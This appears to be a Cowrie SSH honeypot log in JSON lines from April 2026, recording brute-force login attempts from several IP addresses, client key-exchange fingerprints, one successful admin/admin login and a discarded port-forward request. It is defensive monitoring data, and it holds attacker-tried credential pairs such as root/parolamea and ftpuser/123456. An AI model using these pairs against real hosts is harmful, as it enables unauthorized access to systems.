{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:59.947902Z","src_ip":"80.94.92.186","session":"f65197f703fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42576,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2e706f2643","protocol":"ssh","message":"New connection: 176.65.139.95:42576 (159.203.135.109:22) [session: 6c2e706f2643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:01.343990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:01.357501Z","src_ip":"176.65.139.95","session":"6c2e706f2643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:01.628704Z","src_ip":"176.65.139.95","session":"6c2e706f2643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:02.015053Z","src_ip":"176.65.139.95","session":"6c2e706f2643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:03.103867Z","src_ip":"176.65.139.95","session":"6c2e706f2643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42580,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c631eb025c","protocol":"ssh","message":"New connection: 176.65.139.95:42580 (159.203.135.109:22) [session: 72c631eb025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:07.960821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:07.979837Z","src_ip":"176.65.139.95","session":"72c631eb025c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:08.068568Z","src_ip":"176.65.139.95","session":"72c631eb025c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:08.381740Z","src_ip":"176.65.139.95","session":"72c631eb025c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:09.492025Z","src_ip":"176.65.139.95","session":"72c631eb025c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21188,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bd71a99607a","protocol":"ssh","message":"New connection: 87.251.64.176:21188 (10.17.0.5:22) [session: 0bd71a99607a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.214318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.219130Z","src_ip":"87.251.64.176","session":"0bd71a99607a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.316336Z","src_ip":"87.251.64.176","session":"0bd71a99607a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.606913Z","src_ip":"87.251.64.176","session":"0bd71a99607a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.706429Z","session":"0bd71a99607a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.805009Z","src_ip":"87.251.64.176","session":"0bd71a99607a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:11.908042Z","src_ip":"87.251.64.176","session":"0bd71a99607a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56026,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e039db360b","protocol":"ssh","message":"New connection: 176.65.139.95:56026 (159.203.135.109:22) [session: 53e039db360b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:14.419776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:14.425009Z","src_ip":"176.65.139.95","session":"53e039db360b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:14.529673Z","src_ip":"176.65.139.95","session":"53e039db360b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:14.791462Z","src_ip":"176.65.139.95","session":"53e039db360b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:15.877409Z","src_ip":"176.65.139.95","session":"53e039db360b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53648,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39feeffb853","protocol":"ssh","message":"New connection: 176.65.139.95:53648 (159.203.135.109:22) [session: c39feeffb853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:20.815957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:20.835845Z","src_ip":"176.65.139.95","session":"c39feeffb853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:20.900276Z","src_ip":"176.65.139.95","session":"c39feeffb853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:21.302725Z","src_ip":"176.65.139.95","session":"c39feeffb853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:22.400505Z","src_ip":"176.65.139.95","session":"c39feeffb853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53658,"dst_ip":"159.203.135.109","dst_port":22,"session":"60c744b7d6f0","protocol":"ssh","message":"New connection: 176.65.139.95:53658 (159.203.135.109:22) [session: 60c744b7d6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.153827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.158152Z","src_ip":"176.65.139.95","session":"60c744b7d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":57934,"dst_ip":"10.17.0.5","dst_port":22,"session":"48970f211ab4","protocol":"ssh","message":"New connection: 79.116.23.158:57934 (10.17.0.5:22) [session: 48970f211ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.227753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.231911Z","src_ip":"79.116.23.158","session":"48970f211ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.267964Z","src_ip":"176.65.139.95","session":"60c744b7d6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.342387Z","src_ip":"79.116.23.158","session":"48970f211ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.539136Z","src_ip":"176.65.139.95","session":"60c744b7d6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123","message":"login attempt [reza/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:27.808713Z","src_ip":"79.116.23.158","session":"48970f211ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:28.643812Z","src_ip":"176.65.139.95","session":"60c744b7d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:28.920249Z","src_ip":"79.116.23.158","session":"48970f211ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53174,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efb962016bf","protocol":"ssh","message":"New connection: 159.203.92.129:53174 (159.203.135.109:22) [session: 9efb962016bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.617361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.622086Z","src_ip":"159.203.92.129","session":"9efb962016bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.626876Z","src_ip":"159.203.92.129","session":"9efb962016bf","protocol":"ssh"}
